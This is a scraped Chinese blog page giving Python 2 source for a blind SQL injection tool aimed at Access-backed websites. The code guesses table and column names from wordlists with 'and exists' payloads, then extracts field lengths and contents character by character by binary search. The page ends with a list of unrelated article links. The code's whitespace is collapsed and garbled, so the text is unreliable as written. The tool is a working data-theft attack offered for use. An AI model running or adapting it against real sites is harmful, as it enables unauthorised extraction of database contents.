sql注入python编程_Python编写SQL注入工具(2)
#coding=gb2312
importurllibimportstring#定义Access注入函数
classAccessInject():def __init__(self,url):
self.url=url
self.tableNames=[]
self.cloumnNames=[]
self.length=0#定义获取表名的函数,使用文件猜解的方式
#主要SQL语句:.and exists (select * from 数据库表名)
defgetTableName(self):
n=0
tablefile= open("table.txt")for line intablefile.readlines():
line=string.strip(line)
sql= string.join(['%20and%20exists%20(select%20*%20from%20',line,')'],'')
page=urllib.urlopen(self.url).read()
pagex=urllib.urlopen(self.url+sql).read()if page==pagex:
self.tableNames.append(line)else:continue
if len(self.tableNames)==0:
n=0print '未猜解到表名.'
returnnelse:
n=len(self.tableNames)print '存在表:'
for t inself.tableNames:printtreturnnprint ''
#定义获取列名的函数
#主要SQL语句:and exists (select 字段名 from 表名)
defgetColumnName(self,TN):
column= open("columns.txt")for columnline incolumn.readlines():
columnline=string.strip(columnline)
sql= string.join(['%20and%20exists%20(select%20',columnline,'%20from%20',TN,')'],'')
page=urllib.urlopen(self.url).read()
pagex=urllib.urlopen(self.url+sql).read()if page==pagex:
self.cloumnNames.append(columnline)else:continue
if len(self.cloumnNames)==0:print '未猜解出列名.'
else:print '存在列:'
for c inself.cloumnNames:printc#定义获取字段长度的函数
#主要使用二分法
#主要SQL语句:and (select top 1 len(字段) from 表名)> n
def getColumnLenth(self,TN,CN,f1=0,f2=36):
page=urllib.urlopen(self.url).read()while f1<=f2:
mid=(f1+f2)/2u=self.url+'%20and%20(select%20top%201%20len%20('u+=CN
u+=')%20from%20'u+=TN
u+=')>'ux=u+str(mid)
pagex=urllib.urlopen(ux).read()if page==pagex:
uy=u+str(mid+1)
pagey=urllib.urlopen(uy).read()if page!=pagey:
self.length=mid+1
print CN,'内容长度:',self.lengthreturnself.lengthbreak
else:
f1=mid+1
else:
f2=mid#定义获取字段内容的函数
#主要使用二分法
#主要SQL语句:and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
defgetContent(self,TN,CN,lenth):
content=''page=urllib.urlopen(self.url).read()for n in range(1,lenth+1):
f1=32f2=128
while f1<=f2:
mid=(f1+f2)/2url=self.url+"%20and%20(select%20top%201%20asc%20(mid("url+=CN
url+=','url+=str(n)
url+=",1))%20from%20"url+=TN
url+=")>"urlx=url+str(mid)
pagex=urllib.urlopen(urlx).read()if page==pagex:
urly=url+str(mid+1)
pagey=urllib.urlopen(urly).read()if page!=pagey:
content+=chr(mid+1)break
else:
f1=midelse:
f2=midprint CN,'内容:',content
sql注入python编程_Python编写SQL注入工具(2)相关推荐
- python防止sql注入的方法_python解决sql注入以及特殊字符
python往数据库插入数据, 基础做法是: cur=db.cursor() sql = "INSERT INTO test2(cid, author, content) VALUES (1 ...
- 机器人python编程_python快速的制作一个机器人聊天示例
1 首先我们打开我们的python编辑器,这里我们用到的是pycharm,我们点击右键,选择新建选项.在我们的项目文件中创建一个新项目. 2 在新创建的项目文件中,打开python编程界面,输入图中所 ...
- 盘点Python编程的简易版自动化工具——ADB史上全操作
点击上方"IT共享之家",进行关注 回复"资料"可获赠Python学习福利 今 日 鸡 汤 仰天大笑出门去,我辈岂是蓬蒿人. 大家好,我是皮皮,今天给大家讲讲A ...
- python编写sql注入工具毕业设计_Python编写SQL注入工具(2)
#coding=gb2312 importurllibimportstring#定义Access注入函数 classAccessInject():def __init__(self,url): sel ...
- python网页服务器_python编写简单网页服务器
这篇文章主要介绍了关于python 编写简单网页服务器,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 IDE:Pycharm sever.py #!/bin/python #-*- c ...
- python 编程(编写汽车保养时间表)
[ 声明:版权所有,欢迎转载,请勿用于商业用途. 联系信箱:feixiaoxing @163.com] 有车的同学都知道,一般4s给出的保养周期表和汽车厂给出的保养时间不一样.比如火花塞,有的4s要求 ...
- 哪个软件可以用来python编程_python编程用哪个软件
Python是编程入门不错的选择,现在也有不少的程序员业余时间会研究这门编程语言. 学习Python有时候没有第一时间找到好工具,会吃不少的苦头.毕竟好的工具能将工作效率多倍速提升.(推荐学习:Pyt ...
- python助手_python编写学习助手0
项目原因 为了解决学习知识后不及时复习而导致遗忘的问题,准备写一个桌面助手,采用艾宾浩斯记忆法,对每次学习的内容排布复习计划. 第一步是做出最简单的文本列表,里面是待办事项,每个复习待办事项都会有符合 ...
- 单词九连猜python编程_python实现猜单词游戏
本文实例为大家分享了python实现猜单词游戏的具体代码,供大家参考,具体内容如下 0.效果 1.代码 # 猜单词游戏 import random #添加 WORDS = ("python& ...
- python编程(编写opengl程序)
[ 声明:版权所有,欢迎转载,请勿用于商业用途. 联系信箱:feixiaoxing @163.com] opengl作为跨平台的代表,本身使用很多.记得云风,也就是之前网易的主程,他写过一个ejoy2 ...
最新文章
- linux ubunt 安装软件的前期准备——更新源的更换
- [No000053]我25岁了,是应该继续挣钱,还是选择自己的爱好?--正好庆祝自己25岁生日...
- python取三位小数_python保留小数位的三种实现方法
- 《C#高级编程》 读书心得1--核心C# 几点你可能没注意,但很基础的小东西。
- 从实例一步一步入门学习SpringCloud的Eureka、Ribbon、Feign、熔断器、Zuul的简单使用(附代码下载)
- Oracle查询忽略大小写的实现方法
- 计算机专业哪些证书可以抵个税,2020年度个人所得税汇算清缴进行时 职业资格证书有哪些能抵扣个税?...
- 阿里云ECS使用cloudfs4oss挂载OSS
- Dandan's lunch
- 参数控制c语言代码走向,C语言可变参数完全解读
- 职业高中计算机英语教案,职高英语shopping教学设计.doc
- ggplot2绘图如何根据一个变量即区分颜色又区分深浅?
- java poi 页码,apache poi页码
- HDU 2955 Robberies(概率DP,01背包)题解
- java 冒泡算法_关于java中的冒泡算法
- java生成word排版_java生成word的几种方案(转)
- c语言无法定位程序输入点 于动态链接库,无法定位程序输入点于动态链接库?解决方法步骤...
- 深入java虚拟机 视频_深入理解Java虚拟机全套完整视频教程
- iOS 图片引起的崩溃
- 项目管理知识体系指南(五)项目时间管理
热门文章
- php+mysql数据库语法错误_求教:PHP+MYSQL制作用户登录系统问题,总是提示数据库查询语句语法不对。$sql=mysql_query(。。。)这行...
- unity读取json文件以及反序列化Dic示例
- python 窗体k线图_在GUI窗口中绘制一个茅台股票K线图
- JavaScript —— Symbol数据类型之不延伸
- linux6.5输错密码锁定,干货分享:解决redhat6.5登陆后跳回Login,循环登陆问题
- 重学Es6 Promise
- ××× L2TP over IPSec 配置
- React源码分析 - 组件初次渲染
- 谁用光了磁盘?Docker System命令详解
- 静态库与动态库的制作